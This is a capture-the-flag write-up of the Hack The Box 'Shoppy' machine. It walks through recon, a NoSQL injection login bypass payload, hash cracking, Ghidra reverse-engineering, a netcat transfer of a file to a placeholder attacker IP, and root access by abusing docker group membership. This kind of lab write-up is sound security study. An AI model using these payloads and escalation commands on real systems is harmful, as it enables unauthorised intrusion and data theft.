Hack The Box - Shoppy Writeup
Summary
Accessing port 80 revealed website shoppy.htb
. By brute-forcing website, I discovered login page which proved to be vulnerable to NoSQL
Injection. I was able to bypass authentication and used the same payload to exploit Search for users
functionality. Exported file contained hashes for users admin and josh. I was able to crack hash for user josh but I could not leverage these credentials to get any further on the box so I tried sub-domain fuzzing and discovered subdomain mattermost
. After accessing website on this subdomain, I was presented with login page where I was able to log in with credentials for user josh
. While inspecting dashboard, I found credentials for user jaeger
and with these credentials I was able to ssh
into the system. Enumeration of system revealed that user jeager
can run script /home/deploy/password-manager
as user deploy
with sudo
privileges. By running this binary, I got prompted for master password to access password manager. Reverse-engineering binary with ghidra
revealed this password and I was able to retrieve credentials for user deploy
. Enumerating system as user deploy
, I discovered that user is in docker
group which was further abused to escalate privileges to root.
Reconnaissance
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 9e5e8351d99f89ea471a12eb81f922c0 (RSA)
| 256 5857eeeb0650037c8463d7a3415b1ad5 (ECDSA)
|_ 256 3e9d0a4290443860b3b62ce9bd9a6754 (ED25519)
80/tcp open http nginx 1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
|_http-server-header: nginx/1.23.1
9093/tcp open copycat?
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 200 OK
| Content-Type: text/plain; version=0.0.4; charset=utf-8
| Date: Tue, 04 Jun 2024 00:56:15 GMT
| HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
| TYPE go_gc_cycles_automatic_gc_cycles_total counter
| go_gc_cycles_automatic_gc_cycles_total 3
| HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
| TYPE go_gc_cycles_forced_gc_cycles_total counter
| go_gc_cycles_forced_gc_cycles_total 0
| HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
| TYPE go_gc_cycles_total_gc_cycles_total counter
| go_gc_cycles_total_gc_cycles_total 3
| HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
| TYPE go_gc_duration_seconds summary
| go_gc_duration_seconds{quantile="0"} 5.5403e-05
| go_gc_duration_seconds{quantile="0.25"} 5.5403e-05
|_ go_gc_dur
Enumeration
Service Enumeration
IP Address | Ports Open |
---|---|
10.10.11.180 | TCP: 22, 80, 9093 |
Port 80
First I added DNS record for shoppy.htb
. Nmap output: Did not follow redirect to http://shoppy.htb
1
sudo sh -c 'echo "10.10.11.180 shoppy.htb" >> /etc/hosts'
Technology
1
nginx/1.23.1
Web Content Discovery
1
dirsearch -e php,asp,aspx,jsp,py,txt,conf,config,bak,backup,swp,old,db,sql -u http://shoppy.htb
Sub-domain Fuzzing
ffuf
was used for discovery of mattermost
subdomain by the use of virtual host.
1
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://shoppy.htb -H 'Host: FUZZ.shoppy.htb' -ic -fs 169
I added mattermost.shoppy.htb
to my /etc/hosts
file.
Website - shoppy.htb
Trying basic special characters for disclosing SQL Injection vulnerabilities I noticed something unusual. Using '
as input for username and password caused website to hang for a few seconds and then server responded with 504 Gateway Time-out
.
Website - mattermost.shoppy.htb
Initial Foothold
NoSQL Injection
After trying few SQL
injection and NoSQL
injection payload I was able to bypass authentication with following payload:
1
admin' || 'a'=='a
According to this source: An attacker can exploit this by inputting strings like admin' || 'a'=='a
, making the query return all documents by satisfying the condition with a tautology ('a'=='a'
). So this is analogous to SQLi
authentication bypass (admin' OR 1=1 -- //
).
Shoppy
dashboard contained interesting functionality Search for users
. Following the trend of NoSQL vulnerability, I tried same payload to retrieve all results.
1
admin' || 'a'=='a
Act of searching exported file with results that can be downloaded. Inspecting contents of this file, I retrieved hashes for users admin
and josh
.
1
2
3
4
5
6
7
8
0
_id "62db0e93d6d6a999a66ee67a"
username "admin"
password "23c6877d9e2b564ef8b32c3a23de27b2"
1
_id "62db0e93d6d6a999a66ee67b"
username "josh"
password "6ebcea65320589ca4f2f1ce039975995"
I was able to crack hash for user josh by using crackstation.
1
josh : remembermethisway
Mattermost Login
With newly obtained credentials I logged in to Mattermost
application as user josh
.
1
josh : remembermethisway
While inspecting dashboard, I discovered credentials for user jaeger
inside Deploy Machine
channel.
SSH Login
1
jaeger : Sh0ppyBest@pp!
User.txt
Privilege Escalation
System Enumeration
1
sudo -l
We can see that jeager
can run script /home/deploy/password-manager
as user deploy with sudo
privileges. Running this binary I got prompted for master password to enter Josh password manager. Since none of the known password are valid I decided to transfer binary to my local machine for reverse engineering.
1
sudo -u deploy /home/deploy/password-manager
File Transfer
Transferring binary to kali machine.
On kali:
1
nc -nlvp 9989 > password-manager
On victim:
1
nc -w 3 <<KALI_IP>> 9989 < password-manager
Ghidra
Analyzing binary in ghidra
we can see that variable local_48
is our input and it is compared to variable local_68
which is created by appending characters that make up string Sample
.
By supplying Sample
as master password I got new credentials for user deploy
.
1
deploy : Deploying@pp!
Lateral Movement
Upgrading TTY:
1
python3 -c 'import pty; pty.spawn("/bin/bash")'
Linpeas
Enumerating system as user deploy
with linpeas
revealed that user is in docker
group.
Abusing Docker Group Permissions
Listing all Docker Images:
1
docker images
There is alpine image installed which we can leverage to spin up a container that will run a single command.
1
docker run --rm -it alpine sh -c "whoami"
Container is running with root privileges so according to gtfobins we can spawn shell with:
1
docker run -v /:/mnt --rm -it alpine chroot /mnt sh